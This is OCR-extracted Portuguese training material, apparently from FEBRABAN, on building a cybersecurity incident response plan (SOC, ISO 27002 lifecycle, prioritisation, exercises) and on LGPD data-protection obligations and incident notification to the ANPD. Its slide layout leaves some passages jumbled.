As rotinas, os procedimentos, os controles e as tecnologias a serem utilizados na
PLANO DE RESPOSTA A prevencdo e na resposta a incidentes, em conformidade com as diretrizes da

INCIDENTES politica de seguranca cibernética

CYBER SECURITY A area responsavel pelo registro e controle dos efeitos de incidentes relevantes

NOME DA INST _UI';FJ.D

Funcdes, responsabilidades e estratégias de comunicacao e contato no caso de um
incidente

Processos de backup de dados (cOpias de seguranca)
Exemplo de Plano
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O SOC (Security Operations Center) € um time interno ou terceirizado de profissionais de seguranca de Tl que monitoram toda a infraestrutura de Tl da
Organizacédo, em formato 24/7 (24h nos 7 dias da semana), para detectar eventos de seguranca cibernética em tempo real e resolvé-los da maneira mais rapida
e eficiente possivel.

_ . Ativos Criticos
Monitoramento Continuo

Especialistas que apoia a Instituicdo na identificacdo das
O SOC monitora toda a infraestrutura de Tl, informacdes mais criticas a serem protegidas na Organizac&o.
24/7/365: aplicativos, servidores, software do
sistema, dispositivos de computacao, cargas de
trabalho na cloud e a rede, em busca de

atividades suspeitas e sinais de invaséao.
Viséo Global

Risk-based O SOC pode ter uma estrutura global, na qual todos os
SOCs séao interconectados e compartilham informacdes de

O SOC possui uma gestao baseada em inteligéncia para uso da instituic&o.

risco, de forma a priorizar os ativos que

trazem maior impacto para a organizacao. ﬁ

Contatos Externos

O SOC pode realizar contato externo com
Servigos outras instituicbes para a troca de informacdes
sobre ameacas cibernéticas, além de
acompanhar informacdes que sao
publicadas por centros de inteligéncias,
foruns e sites que relatam sobre ameacas
cibernéticas.

O portfolio de servigcos do SOC geralmente inclui:
monitoramento continuo do ambientes tecnoldgicos da
empresa, gestado de identidades e acessos, servigos
gerenciados de seguranca (por exemplo, dispositivos
moéveis) e gestao de incidentes/ crises.



Gestao de Incidentes de
Seguranca da Informacao
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De acordo com a ISO 27002, o objetivo da gestao de incidentes € assegurar um enfoque consistente e efetivo para gerenciar os incidentes de seguranca da informacao,
incluindo a comunicacéo sobre fragilidades e eventos de seguranca da informacdo. Esse processo fornece uma abordagem padronizada e organizada para lidar

com incidentes de seguranca da informacéo.

Detectar Avaliar e Priorizar

Os eventos de seguranca Avaliar os incidentes

da informag&o devem ser utilizando uma escala de
relatados através dos classificacao, para
canais apropriados da decidir se o evento deve
Organizagao, o mais ser classificado como
rapidamente possivel. um incidente de

seguranca da
informacédo, além disso,
€ necessario identificar o
impacto e a abrangéncia
do incidente.

Responder

Acdes realizadas para Realizar as

reestabelecer a
operacdo de seguranca
da Organizagao ao
estado de normalidade,
envolvendo:

partes internas e

analise detalhada;
externas.

coleta de evidéncias;

contencéo do
incidente;

erradicacao do
incidente;

Playbooks; e outros.

comunicacgdes sobre os
incidentes relevantes de
seguranca para todas as
partes interessadas
relevantes, podendo ser

LicGes aprendidas

Identificar oportunidades
de melhorias em
processos internos,
avaliar a efetividade do
processo de gestdo de
incidentes, fortalecer as
capacidades de resposta
e melhorar os controles
da instituigcdo.

Ferramentas que podem ser utilizadas em gestao de incidentes: ITSM (Service Now), XDR, XSOAR, XSIAM, SIEM, Guardicore, SIMOC, entre outras.



Avaliar e Priorizar Responder
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LicOes aprendidas

Segundo a ISO 27002, os eventos de seguranca da informacdo devem ser relatados através dos canais apropriados da Organizacdo, o mais rapidamente

possivel.

1

Deteccao de Eventos

A primeira fase do ciclo de vida de incidentes
cibernéticos € a deteccdo de qualquer evento adverso
gue possaindicar um comprometimento dos
sistemas da organizacédo. Exemplos de tais eventos
sao:

= falhas suspeitas no sistema;

= acesso ndo autorizado a dados confidenciais;

= execugdo de codigo malicioso;

= notifica¢des interna de colaboradores ou
externas;

= processo de Threat Intel,

= violagdes de procedimentos de seguranca
fisica;

= alto nimero de tentativas de login com falha
OU SUCESSO;

» alteracdes de usuérios para grupos
administrativos.

2

Alertas Relevantes

Alertas relevantes serdo descobertos
principalmente por meio de ferramentas de

seguranca e alertas; no entanto, eventos também
podem ser recebidos de usuéarios finais que

notam atividades suspeitas. Tais atividades
podem incluir:

= anexos maliciosos;

= e-mails suspeitos;

" mensagens pop-up incomuns que
aparecem na tela;

= violagdo de acesso;

= problemas com funcionamento de
software ou hardware.

3

Canais de Notificacao

Os funcionarios e partes externas da Organizagao
devem notificar potenciais eventos e/ou incidentes
para o ponto de contato adequado, 0 mais rapido
possivel, de forma a prevenir incidentes de
seguranca da informacgéo. O mecanismo de
notificag@o deve ser facil, acessivel e disponivel,
sempre que possivel, tais como:

= uma pagina/portal dedicado;
= e-mail;
= telefone;

= ferramenta de comunicacgéo no local de
trabalho (exemplo: Teams);

= redes sociais.
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Detectar Responder Licbes aprendidas

7

Segundo a ISO 27002, apdés a deteccdo de um evento € necessario avalid-los utilizando uma escala de classificacdo, para decidir se o evento deve ser
classificado como um incidente de seguranca da informacéo. A priorizacdo e a classificacdo de incidentes pode ajudar a identificar o impacto e a abrangéncia
de umincidente.

A sequir sdo apresentadas as principais atividades que devem ser realizadas na triagem do incidente:

» determinar o escopo afetado (redes, sistemas ou aplicativos afetados); + classificar os incidentes com a taxonomia;
* coletar e analisar informagdes/evidéncias; + avaliar a criticidade do incidente e atribuir sua prioridade;
» notificar a entidade, area ou empresa envolvida adequadamente; « determinar uma estratégia apropriada de contencéao, erradicacao e recuperacao.

1 1 )

» Critica * Nenhum » Atividade legitima
+ Alta + Baixo + Atividade ilegal
* Média * Moderado + Comprometimento de ativo
+ Baixa + Alto * Vazamento de dados
* Extremo * E-mail

* Hacking

+ Malware

* Threat Intelligence

+ Violacao de politica




Detectar

Responder
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Licbes aprendidas

A seguir é apresentado um exemplo de priorizacao de incidentes de seguranca, bem como os critérios utilizados e SLA para conten¢éo dos incidentes:

Critico

Alto

Médio

Baixo

Info

Maior prioridade. Incidentes que causam(ou tem potencial de) paralizacéo de servigos
criticos, comprometimento de informacé&o ou ativo critico. Impacto potencial € extremo ou
acao maliciosa em andamento (exemplo, ransomware).

Incidentes que causam (ou tem potencial de) de paralizacdo de servicos, comprometimento
de informacgéo ou ativo. Possibilidade de comprometimento de outros ativos. A¢cao maliciosa
nao esta ocorrendo.

Incidentes que podem indicar falha ou comprometimento de camadas de seguranca.

Incidentes sem impacto potencial e atividades que n&o necessitam de SLA para concluséo.

Menor prioridade. Incidentes do tipo informacionais, registros.

60 min/1 Hora

240 min/ 4 horas

2880 min/ 48 Horas



Segundo a ISO 27002, para
ter uma resposta eficiente e
eficaz, os incidentes devem
ser respondidos de acordo
com os procedimentos
documentados na etapa
anterior.

Detectar

01
02

03

Avaliar e Priorizar

Analise detalhada
(investigacéao)

Todos os incidentes devem ser
analisados de forma consistente
e em tempo habil, de acordo
com a sua severidade e
prioridade.

Coleta de evidéncias

E imprescindivel a coleta e o
manuseio de evidéncias criticas
a resolucéo do incidente, bem
como a utilizagcdo de
procedimentos legais
relacionados ao caso
investigado.

Resposta ao Incidente

Ela deve ser realizada de forma
imediata e a area de seguranca
deve propor e elaborar planos
de acéo para corrigir e mitigar o
incidente identificado.

FEBRABAN

LicOes aprendidas

Playbooks

Manuais técnicos podem ser
utilizados e podem formecer
orientacdes especificas de como
remediar os incidentes.

O incidente deve ser contido antes
gue o invasor possa executar mais
acOes. A contencéo deve ser
rapida, mas € crucial entender
completamente a extensdo do
comprometimento do incidente.

Essa fase garante a remocéao da
ameaca. Se um sistema for
comprometido, pode ser
reconstruido a partir de uma
imagem confiavel e se for incidente
de menor complexidade, o artefato
pode ser removido através da
desinstalac&o ou exclusdo manual.
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Detectar Avaliar e Priorizar Licbes aprendidas

A etapa de andlise é uma das mais importantes da gestdo de Incidentes e é possivel utilizar diversas ferramentas para apoiar nesta etapa. As ferramentas podem
ajudar a acelerar as investigacdes, fornecendo uma visdo completa de cada incidente e com analise de causa raiz, conforme os exemplos apresentados a
seguir:

° ——
Acoes rapidas para conter ataques
Agrupe alertas relacionados de forma Revele a causa raiz dos ataques, bem ou executar analises forenses
inteligente em um incidente como identifique as casualidades e personalizadas

comportamento dos eventos
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Detectar Avaliar e Priorizar Responder Licbes aprendidas

Segundo a ISO 27002, a organizacdo deve estabelecer e comunicar procedimentos sobre os incidentes a todas as partes interessadas relevantes e essa
comunicacao deve ser feita por uma equipe designada com as competéncias necessarias.

Nesta etapa, em atendimento principalmente as exigéncias de reguladores, torna-se necessario realizar a notificacdo ao Controlador de dados (no caso de
Operadores em nome das Instituicdes), Titulares de Dados e ANPD (Autoridade Nacional de Protecdo de Dados), sobre a ocorréncia de incidentes que possam
acarretar risco ou dano relevante aos titulares.

Exemplo Macro de Fluxo de Comunicagao =P
-
Quando na posicao de Operador Quando na posicao de Controlador
1 2 3

Reportar ao Controlador Reportar aos 6rgéos Reportar sobre possiveis

(Instituicdes) sobre a ocorréncia regulatérios (ANPD) e vazamentos de dados aos

de incidentes com potencial de autoridades quanto a ocorréncia titulares dos dados de acordo

impacto a privacidade dos de incidentes relevantes com a LGPD

titulares de dados, bem como
enviar relatério contendo as
informacdes sobre o incidente.

Notificacdo de incidentes de privacidade: Esta disponivel no site da ANPD formularios para a elaboracdo das comunicacbes quando ha incidentes
envolvendo titulares de dados pessoais, as comunicag¢fes devem ocorrer em até 72 horas apés a confirmacéo do incidente, conforme definido na Lei.

Link — Material de Apoio
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Responder

Detectar Avaliar e Priorizar

O objetivo dessa etapa € identificar oportunidades de melhorias em processos internos, além de avaliar a efetividade do processo. Segundo a ISO 27002,
necessario utilizar os conhecimentos adquiridos com os incidentes para fortalecer as capacidades de resposta e melhorar os controles da instituicdo. Com isso,
possivel reduzir a probabilidade ou consequéncias de incidentes futuros. A seguir sdo apresentados alguns exemplos:

D D

Uma revisao do incidente

Se o tempo de resposta estava
apropriado

Se os procedimentos foram
seguidos

Se faltou alguma informacéo.
O que poderia ser feito de
diferente

O que € necessario para evitar
gue o incidente volte a
acontecer

Quais ferramentas ou recursos
adicionais podem ser
necessarios

Apos a conclusao do incidente é
necessario uma reuniao sobre as
licoes aprendidas, onde todas as
partes interessadas e pessoas
envolvidas vao entender todos os
detalhes do incidentes e criar um
relatorio sobre areas que precisam
de melhorias e/ou um plano de
acao.

Nessa etapa também é necessario
avaliar se as métricas e
indicadores utilizados na
contencao do incidentes foram
suficientes ou é necessario
adaptar elas para o préximo.

Dinamicas de exercicios podem
ser realizadas para aprimorar o
nivel de preparo dos profissionais
em atuacdes em incidentes. Além
disso, os exercicios ajudam a
identificar nivel de prontidao dos
funcionarios, tempo de resposta e
recuperacao a normalidade,
processo de comunicacdo. Os
resultados dos exercicios devem
ser utilizados para aprimorar a
gestao dos incidentes.
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Detectar Avaliar e Priorizar Responder

A Taxonomia contribui com a eficiéncia e efetividade do gerenciamento de incidentes:

MTTD (Mean Time to Detect)

Tempo decorrido para que um analista inicie o tratamento do incidente em
minutos

Principais
medicoes de
tempo
aplicadas nos
Incidentes

MTTA (Mean Time to Analyse)

Tempo decorrido para que o analista continua a triagem do
incidente(confirmacéo, categorizacdo) em minutos

MTTC (Mean Time to Contain)

Tempo decorrido para que um analista aplique uma contencédo especifica em
um incidente, se necesséario, em minutos

MTTR (Mean Time to Resolve)

O """"""""""" Tempo decorrido para que o analista finalize o tratamento do incidente, em
: 3 minutos

.
.
.
G
.,
.
®
G
»
L
L
»
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Detectar Avaliar e Priorizar Responder

Exemplos de Abordagem para Exercicios:

Testes tradicionais } Simulacoes realistas
Estrutura do T -‘Fl; 2 T "Fﬂ i =)
exercicio “’F} wnﬁ:- o “"H-'- 'ﬁ‘_ q \%__10
) L 1NN k) [::tsj

Os jogadores, com o apoio de um facilitador, simulam a

Os jogadores participam de uma discussao tedrica sobre as
resposta a um incidente ou cenario de crise.

atividades de resposta a incidentes ou crises.

- Fim
Progressao do
exercicio OO
Comeco Fim Comeco O O O O
o ___©o___®©___®©o___©o_ & O
O===O

Os exercicios sdo dinamicos - a progressao de cenarios

Os exercicios sdo de natureza estética - a progressao de
baseia-se nas acdes e decisdes dos jogadores.

cenarios € planejada antecipadamente.
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Detectar Avaliar e Priorizar Responder

Os exercicios devem ser realizados conforme a maturidade da instituicdo no tema de segurancga da informagéo e resposta a incidentes. Na tabela a seguir séo
apresentados os estagios dos exercicios, bem como sua respectiva dindmica de orquestracao:

Aumento de Maturidade

Desktop Simulacéo Wargame

* Treinamento » Praticar papéis e processos / explorar » Teste de stress

« Construcdo de consenso estratégias + Simulac&o de pior cenario

« Cenarios passo a passo, ambiente passivo. * Teste de premissas « Envolvimento de diversos niveis

- Teste de componentes (planos, tecnologias  Maior pressao e foco na tomada de decisao organizacionais
e etc.) » Script projetado, ambiente ativo « Simulacao livre, ambiente interativo
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e

frameworks de referéncia no tema:

Frameworks Padrao Utilizados

NIST

National Institute of
Standards and Technology

INTERNATIONAL ISO/IEC

STANDARD 27002 (c/rs Gt © cis controls

Controles CIS

MITRE 9= B

S

Conformidade: Dado o uso extensivo de padrées amplamente aceitos pela industria, a gestdo dos incidentes de seguranca deve ser alinhada com alguns dos
requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com PCI-DSS, LGPD, Bacen 4.893, SOX, NIST, entre outros.
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Agora que aprendemos sobre as atividades relacionadas ao processo de gestdo de incidentes, relembre os principais termos e conceitos
apresentados neste material:

Gestao de Incidentes: o objetivo da gestdo de incidentes € assegurar um enfoque consistente e efetivo para gerenciar os incidentes de seguranca da
informacéo, incluindo a comunicacéo sobre fragilidades e eventos de seguranca da informacédo. Esse processo fornece uma abordagem padronizada e
organizada para lidar com incidentes de seguranc¢a da informacéao.

SOC: O SOC (Security Operations Center) € um time interno ou terceirizado de profissionais de seguranca de Tl que monitoram toda a infraestrutura de Tl
da Organizacao, em formato 24/7 (24h nos 7 dias da semana), para detectar eventos de seguranca cibernética em tempo real e resolvé-los da maneira
mais répida e eficiente possivel.

Eventos: Qualquer ocorréncia observavel em um sistema ou rede. As fontes de log de sistemas individuais, dispositivos de rede ou qualquer outro,
conterdo eventos.

Incidentes: Violacdo de uma politica ou controle de seguranca explicito ou implicito, com capacidade de comprometer toda uma infraestrutura interna.
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Requisitos — Privacidade
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Este material foi elaborado de acordo com as exigéncias da LGPD, bem como foi considerado os requisitos de privacidade e seguranga da informacao relacionados ao
tema de acordo com as normas e frameworks apresentado abaixo:

LGPD ISO 27701 CIS Controls ISO 27002 NIST CSF

+ Artigos da Lei.

@

7.1 Geral

7.2 Condic¢des para coleta e
tratamento

7.3 Obrigagbes dos titulares de
DP

7.4 Privacy by Design e Privacy
by Default

7.5 Compartilhamento,
transferéncia e divulgacdo de
DP

¥

3.3 Configurar listas de controle
de acesso a dados

3.4 Aplicar retencdo de dados

3.7 Estabelecer e manter um
esquema de classificagcédo de
dados

3.13 Implantar uma solucé&o de
prevencéo contra perda de
dados

3.14 Registrar 0 acesso a dados
sensiveis

¢

5.34 Privacidade e protecéo de
Pl

9

GV. 0OC-03: Os requisitos
legais, regulamentares e
contratuais relativos a
seguranca cibernética -
incluindo obrigacdes de
privacidade e liberdades civis -
sdo compreendidos e
gerenciados



Sumario

1 I Leis de Privacidade, Riscos e Oportunidades

Principais Aspectos da Lei

Termos e Defini¢des

Principais Figuras

Programa de Privacidade

O gue mais eu Preciso Saber?
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L eis de Privacidade FEBRABAN

De acordocomo

DLA Piper,
100

paises no mundo
possuem leis de

Privacidade e

Protecao de
Dados
Pessoais

___________________________

REGULATION
ENFORCEMENT =2

Fonte: DLA Piper — Data Protection Laws Around the World



Riscos e Oportunidades

Riscos

1 Aplicagéo de penalidades pela ANPD

I Danos reputacionais e reflexos nas relagdes
comerciais

) Prejuizos advindos da instauracdo de
investigacdes e ajuizamento de processos
judiciais por titulares dos dados e o6rgaos
publicos, como Ministério Publico e Procon

_I Desvantagem concorrencial, reducdo da
confianga de parceiros comerciais e
fornecedores e rescisdo de contratos

I Subutilizacdo de dados e perda do valor de
mercado

FEBRABAN

Oportunidades

Vantagem competitiva perante clientes,
parceiros e fornecedores

Aumento da transparéncia e maior
confianga por parte dos clientes e outros
terceiros interessados

Aceleracéo no processo da digitalizacéo e
modernizagdo da empresa

Maior conhecimento e dominio dos dados
disponiveis, podendo gerar oportunidades
para geracao de receita

Fortalecimento das capacidades de
seguranca da informacéao
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N&o se aplica a:

Dados para fins artisticos ou jornalisticos;
Dados académicos;

Dados anonimizados.

Dados de Pessoas Juridicas;

Dados pessoais tratados para fins ndo
econdmicos;

Dados utilizados para segurancga publica;

O quediz alei?

A Lei Geral de Protecao de Dados Pessoais (LGPD)
dispbe sobre o tratamento de dados pessoais, hos meios
fisicos e digitais, por pessoa natural ou por pessoa juridica
de direito publico ou privado. E uma legislagdo que

* Qualquer pessoa, juridica ou fisica, privada ou publica
que realize tratamento de dados, para fins
comerciais, com sede no Brasil;

estabelece direitos a titulares de dados pessoais e
obrigacbes aos agentes de tratamento com o objetivo de
proteger os direitos fundamentais de liberdade e de
privacidade e o livre desenvolvimento da personalidade da

pessoa natural

Multa simples, de até 2% do faturamento, limitada, a
R$50 MM (cinquenta milh&es de reais) por infracdo;

Multa diéria;

Divulgacgéo da infragéo;

Adverténcias;

Suspenséo das atividades de manipulacao de dados;

Bloqueio/eliminagdo dos dados pessoais

» OrganizacOes com sede no exterior que oferecam

servigos ou tenham operacdes em territorio nacional,
envolvendo tratamento de dados;

Dados pessoais coletados em territdrio nacional.

Principais Obrigagcfes?

Nomear o Encarregado de Dados (DPO);
Publicar a Politica de Privacidade;
Assegurar o Direito dos Titulares de Dados;
Comunicacéao de Incidentes;

Assegurar o sigilo e seguranca dos dados; entre outros.



Termos e Definicoes
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Dados Pessoails

O conceito de tratamento de dados dentro da Lei Geral de Protecdo de Dados Pessoais € amplo e considera todo o ciclo de vida do dado, englobando: coleta,
visualiza¢do, manipulacéo, transferéncia, arquivamento, descarte, entre outros. Qualquer uso do dado pessoal sera considerado como tratamento e, portanto,

estara no escopo da legislacéo.

Exemplos

0 \

Informacado relacionada a pessoa N\
natural identificada ou identificavel, ou Nome e ndmero Telefones para IP,
seja, € a informacdo ou conjunto de de documentos contato MSISDN

@

informagbes distintas que possam
levar a identificacdo de uma pessoa de

forma direta ou indireta.

_Inf(,Jr_ma Oes relativas a PES504a5 E-mail Endereco Geolocalizacdo
juridicas como CNPJ e razéo social residencial
nado___sao _consideradas dados .
pessoalis. v
Perfil

Comportamental




Dados Pessoals Sensivels FEBRABAN

O conceito de tratamento de dados dentro da Lei Geral de Protecdo de Dados Pessoais € amplo e considera todo o ciclo de vida do dado, englobando: coleta,
visualiza¢do, manipulacéo, transferéncia, arquivamento, descarte, entre outros. Qualquer uso do dado pessoal sera considerado como tratamento e, portanto,
estara no escopo da legislacéo.

Exemplos

S4o dados pessoais sobre origem

racial ou étnica, convicgao religiosa, ;
opinidao politica, fillacdo a sindicato ou | |
a organizacdo de carater religioso,

filoséfico ou politico, dado referente a

satde ou a vida sexual, dado genético Saude Opiniao Politica nget[co_ ou Con_w_cgao
o . biometrico religiosa

ou biometrico, quando vinculado a uma

pessoa natural.

ODbs.: Por seu potencial discriminatério, -5 o9

dados pessoais sensiveis possuem maior m ’-‘

cobertura da LGPD e, por isso, a atengao A

pjdobcr%LIe;a 2 LelEmEie sEie se Relativos a vida Raga ou etnia Filiacao a sindicato

: sexual ou organizagao

religiosa, filosdfica
ou politica
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O Art. 6° da LGPD menciona que as atividades de tratamento de dados pessoais deverdo observar a boa-fé e os seguintes principios:

Transparéncia

Informar no
contrato de
trabalho de todos
os profissionais 0s
cenarios em que
seus dados
pessoais poderao
ser tratados.

Finalidade

Todos os dados
coletados precisam
ter um proposito
gue justifique a
coleta. Solicitar a
clientes dados
pessoais sem
qualquer
justificativa/finalida
de relacionada fere
este principio.

Necessidade

Recursar o
recebimento de
planilhas e
arquivos que
contenham dados
pessoais que nao
SA0 necessarios
para execucao dos
servigos
contratados.

Responsabilizacao
e prestacao de
contas
O RoPAe
treinamentos de
conscientizacao
sdo formas de
atendimento a esse
principio

Adequacéo

Nao utilizar
enderecos de e-
mail de clientes
para finalidades

distintas daquelas
relacionadas a
prestacao dos
servigos.
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O Art. 6° da LGPD menciona que as atividades de tratamento de dados pessoais deverdo observar a boa-fé e os seguintes principios:

Qualidade dos dados

Manter em seu
banco de dados
informacdes
atualizadas,
corretas e precisas.

Seguranca

A aplicacéo de
multiplo fator de
autenticacao (MFA)
para acessar uma
plataforma e a
inclusdo de senhas
em arquivos sdo
medidas que
atendem ao
principio da
seguranga.

Livre Acesso

Os dados pessoais
devem ser
armazenados de

forma a facilitar seu

acesso aos
titulares.

Prevencao

Programar os e-
mails para apenas
sairem da caixa
apos determinado
periodo é uma
forma de
prevencao de
incidentes
decorrentes de
envios para
destinatarios
incorretos.

Nao
discriminacao

Nao utilizar
eventual acesso a
informacdes de
orientacao sexual
de profissionais
para aplicar
medidas
discriminatorias.
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Bases legais para o tratamento de Dados Pessoais

Cada atividade de tratamento est4 atrelada a uma finalidade e para cada finalidade é dever do Controlador apontar uma base legal:

Realizacdo de Para a tutela da satde, por
estudos por orgéos - agentes da area médica.
Para o cumprimento de de pesquisa e Para a protecéo ao
obrigacao legal ou . d'.”.s't.os €M processos crédito
regulatéria judiciais e administrativos
Por meio de Pela administragédo Protecédo avida ou - garanNtla‘de !
consentimento publica, no tratamento e integridade fisica do titular , prevencaoa
livre, informado e uso de dados para Para execucao de ou de terceiro ! frz_;lude em |
inequivoco do titular. execucao de politicas contratos ou de Para atender a interesses S'St‘f"?as
pUblicas procedimentos a ele legitimos do controladorou . Eletronicos

relacionados de terceiro
*Somente para dados

pessoais sensiveis.

** As hipoteses do legitimo interesse e execucao de contrato nao se aplicam para o tratamento de dados pessoais sensiveis!



Sao direitos
do titular dos
dados
pessoais:

|

|

Confirmar a
existéncia do
tratamento

I

Acessar
os dados
pessoais

I

Corrlgir dados
incompletos,
inexatos ou
desatualizado

B

l

Anonimizar
os dados
pessoais

I

Realizar a
portabilidade
de dados

|

Eliminar os
dados tratados
com base em
consentimento

I

Obter informacdes de
entidades publicas e
privadas que secom
guem os dados foram
compartilhados

I

Ser informado
da possibilidade
de nao fornecer
0 consentimento

l

Revogar o
consentimento

I

Revisao de decisdes
automatizadas e direito
de se opor ao tratamento
guando nao tiver mais
necessidade legitima ou

legal de trata-la

FEBRABAN

O Artigo 18 da LGPD
dispde sobre os direitos
dos Titulares.

O Controlador devera
garantir o livre acesso,
gualidade dos dados e a
seguranca dos dados.

O Controlador devera
respeitar a liberdade,
intimidade e privacidade
do titular.



Principals Figuras
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Titular do Dado

Pessoa natural relacionada ao dado
objeto do tratamento.

4»4»#

Co-Controlador Controlador Operador Suboperador
(nostermos da

ANPD) ‘

DPO

e ¥

i

Titulares ANPD

Controlador

Entidade responsavel pelas decisdes no
tratamento de dados pessoais, definindo
“O que?” e “como?” os dados serao
tratados.

Operador

Entidade que atua em nome de um
controlador e nao possui autonomia
para tomar decisdes sobre a atividade de
tratamento.

FEBRABAN

Encarregado

Colaborador, area ou terceiro representante
do controlador e operador que atuara como
canal de comunicagdao entre ele, titular e
autoridade nacional.

Autoridade Nacional de
Protecao de Dados

Conhecida também por ANPD, é o 6rgao da
administracdo publica responsavel por
implementar e fiscalizar o cumprimento da
LGPD.



Controlador

O Controlador € o agente que define a
finalidade do tratamento, ou seja, indica o
proposito para qual os dados pessoais serao
tratados. E também quem define os meios de
tratamento no que se refere aos elementos
essenciais e ndo essenciais para o exercicio
de suas atividades.

Controlador

TEM o poder de
deciséo para iniciar o
tratamento

E_ITI DEFINE a finalidade do
: tratamento

Define os meios de
tratamento:

* Elementos essenciais

* Elementos nao essenciais

FEBRABAN

Operador

A existéncia do Operador depende de uma
decisdo do Controlador, que pode optar por
realizar as operagcdes de tratamento de
dados pessoais por si mesmo ou delegar a
integralidade ou mesmo parte desse
tratamento a terceiro que atuard como
Operador.

Operador

SEM o poder de
deciséo para iniciar o
tratamento

E_ITI NAO determina a finalidade
do tratamento

Define os meios de
tratamento:

| .
» Elementos nao essenciais



Instituicdes - Controlador

Exemplos

Tratamento de dados pessoais de profissionais
das Instituicdes (pesquisas internas, dados
financeiros para pagamento de salario, dados
para e-social, atendimento ambulatorial, entre
outros);

Envios de e-mail marketing para potenciais
clientes;

Prestacéo de servicos financeiros;

Prestacdo de servicos de Auditoria.

FEBRABAN

Terceiros - Operador

Exemplos

Prestacao de servicos de pocessamento de folha de
pagamento;

Prestacao de servi¢os de call center;

Prestacdo de servicos de suporte técnico e
implementacéo de ferramentas;

Prestacao de servicos para geracao de leads;
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)
A Autoridade Nacional de Protecdo de Dados (ANPD) é um orgdo da § |
administragdo publica, integrante da Presidéncia da Republica, .+ Sitio eletronico para publicacdo de informagbes e cqmunis;a(;éo_ coma sociedade;
responsavel por zelar, implementar e fiscalizar o cumprimento da - 'cl':omalda de subsl[dl(;s §ob_r(je altgu.ns temas como notificagéo de incidentes e LGPD; i
LGPD em todo o territério nacional. ; anaipara reporte de incidentes, ;
i+ Guias e recomendacdes; :
.+ Audiéncias Publicas;
. * Assinatura de acordos com outros 6rgaos, entre outros. .
Formulario de comunicagio de incidente de seguranga com dados pessoais 3 AUTORIDADE NACIONAL DE F@lﬂ 4 o ; - o .
TORD AL ACIONAL DE B et oot o P o oo ) S OTer ke D DADOE PROTECAO © ANPD ...
PROTECAO DE DADOS - DEDADOS L e—"
Planejamento Estratégico S e e g o e NE——
202]-2023 [InEo tenho certeza sobre o nivel de risco do incidente de seguranca. V
:::::mé ‘Guia Orientativo para Defini¢des dos
Dicantrotadar. Agentes de Tratamento de Dados Pessoais
?T:ﬁm " e do Encarregado
:Z::s:;a;:;.‘g;:rrmemu: Brasilia/DF
ot G PATRIA AMADA. e
Y— T P anpps= ERBRASIE
e e [
. L : ~ - Tomadas de subsidios -
Planejamento Estratégico OrientagGes sobre reporte Guia Orientativo sobre Cartilha de Seguranca para requlamentacio em micro &
2021-2023 e Agenda deincidentes e sancoes Agentes de Tratamento e Internet em parceria com a NIC peguenas empresas e natificacio de
Regulatoria 2021-2022 administrativas Encarregado de Dados incidentes
Forte: htpsi//www.gov.branpdipthiiassurtosfincidente-de-sequranca Forte: htips.//www.gov.br anpd/pt-briassurfos/ndicias indusao-de- Forte: htips://cartilha cert,br/asciculos/orotecao-de-dados/fasciculo-

lratamento finalpdf



https://www.gov.br/anpd/pt-br/assuntos/noticias/inclusao-de-arquivos-para-link-nas-noticias/2021-05-27-guia-agentes-de-tratamento_final.pdf
https://www.gov.br/anpd/pt-br/assuntos/noticias/inclusao-de-arquivos-para-link-nas-noticias/2021-05-27-guia-agentes-de-tratamento_final.pdf
https://www.gov.br/anpd/pt-br/assuntos/noticias/inclusao-de-arquivos-para-link-nas-noticias/2021-05-27-guia-agentes-de-tratamento_final.pdf
https://cartilha.cert.br/fasciculos/protecao-de-dados/fasciculo-protecao-de-dados.pdf
https://cartilha.cert.br/fasciculos/protecao-de-dados/fasciculo-protecao-de-dados.pdf
https://www.gov.br/anpd/pt-br/assuntos/incidente-de-seguranca
https://www.gov.br/anpd/pt-br/assuntos/noticias/anpd-abre-consulta-publica-sobre-norma-de-fiscalizacao/2021.05.29___Minuta_de_Resolucao_de_fiscalizacao_para_consultapblica.pdf
https://www.gov.br/anpd/pt-br/assuntos/noticias/anpd-abre-consulta-publica-sobre-norma-de-fiscalizacao/2021.05.29___Minuta_de_Resolucao_de_fiscalizacao_para_consultapblica.pdf
https://www.gov.br/anpd/pt-br/assuntos/noticias/anpd-abre-consulta-publica-sobre-norma-de-fiscalizacao/2021.05.29___Minuta_de_Resolucao_de_fiscalizacao_para_consultapblica.pdf
https://www.gov.br/anpd/pt-br/assuntos/noticias/anpd-abre-consulta-publica-sobre-norma-de-fiscalizacao/2021.05.29___Minuta_de_Resolucao_de_fiscalizacao_para_consultapblica.pdf
https://www.gov.br/anpd/pt-br/documentos-e-publicacoes/planejamento-estrategico/planejamento-estrategico-2021-2023.pdf
https://www.gov.br/anpd/pt-br/documentos-e-publicacoes/planejamento-estrategico/planejamento-estrategico-2021-2023.pdf
https://www.gov.br/anpd/pt-br/documentos-e-publicacoes/planejamento-estrategico/planejamento-estrategico-2021-2023.pdf

Programa de Privacidade
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A seguir sdo apresentadas alguns exemplos de atividades que fazem parte de um programa de privacidade:

O titular dos dados pessoais tem direito
a obter do controlador, em relagcéo aos
dados do titular por ele tratados, a
qualguer momento e mediante
requisi¢do: confirmagao de tratamento,
acesso, correcao, descarte dos dados,
etc.

O ROPA é o inventéario de dados e
contém o mapeamento de todos 0s

dados pessoais dos processos da O 5
Organizacao.

Documento que formaliza o “de acordo”
do titular para o tratamento de seus
dados pessoais para uma finalidade
determinada.

Comunicacao de Incidentes

O controlador devera comunicar a
autoridade nacional e ao titular a
ocorréncia de incidente de seguranga
gque possa acarretar risco ou dano
relevante aos titulares.

Relatério de Impacto
Necessario para processos com
maiores riscos de impacto a protecao
dos dados pessoais e contém planos
de mitigacao.

Politica de Privacidade
Documento que especifica como uma
empresa coleta, usa e armazena as
informagdes pessoais dos seus clientes
e usuarios. Ela também é chamada de
Termos de Privacidade.

FEBRABAN
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Conforme o Art. 6° e o Art. 9° da Resolucdo CD/ANPD n° 15, de 24 de abril de 2024 que Aprova o Regulamento de Comunicagédo de Incidente de Seguranca, a
comunicacdo a ANPD e aos titulares devera ser realizada pelo controlador no prazo de trés (3) dias Uteis, ressalvada a existéncia de prazo para comunicacao
previsto em legislacdo especifica.

A comunicacao voluntaria do incidente pelo controlador € demonstracdo de transparéncia, cooperacdo e boa-fé do agente e sera considerada em eventual
acao de fiscalizagcdo da ANPD.

Exemplos: Tipos de Incidentes e Modelos de Comunicacgao

Principais Tipos de incidentes Modelo de Report para Operador

Envio de um e-mail contendo dados
pessoais a um destinatéario errado

Perda/furto do computador com

informacgdes de dados pessoais Reguladores
Terceiro (ANPD)
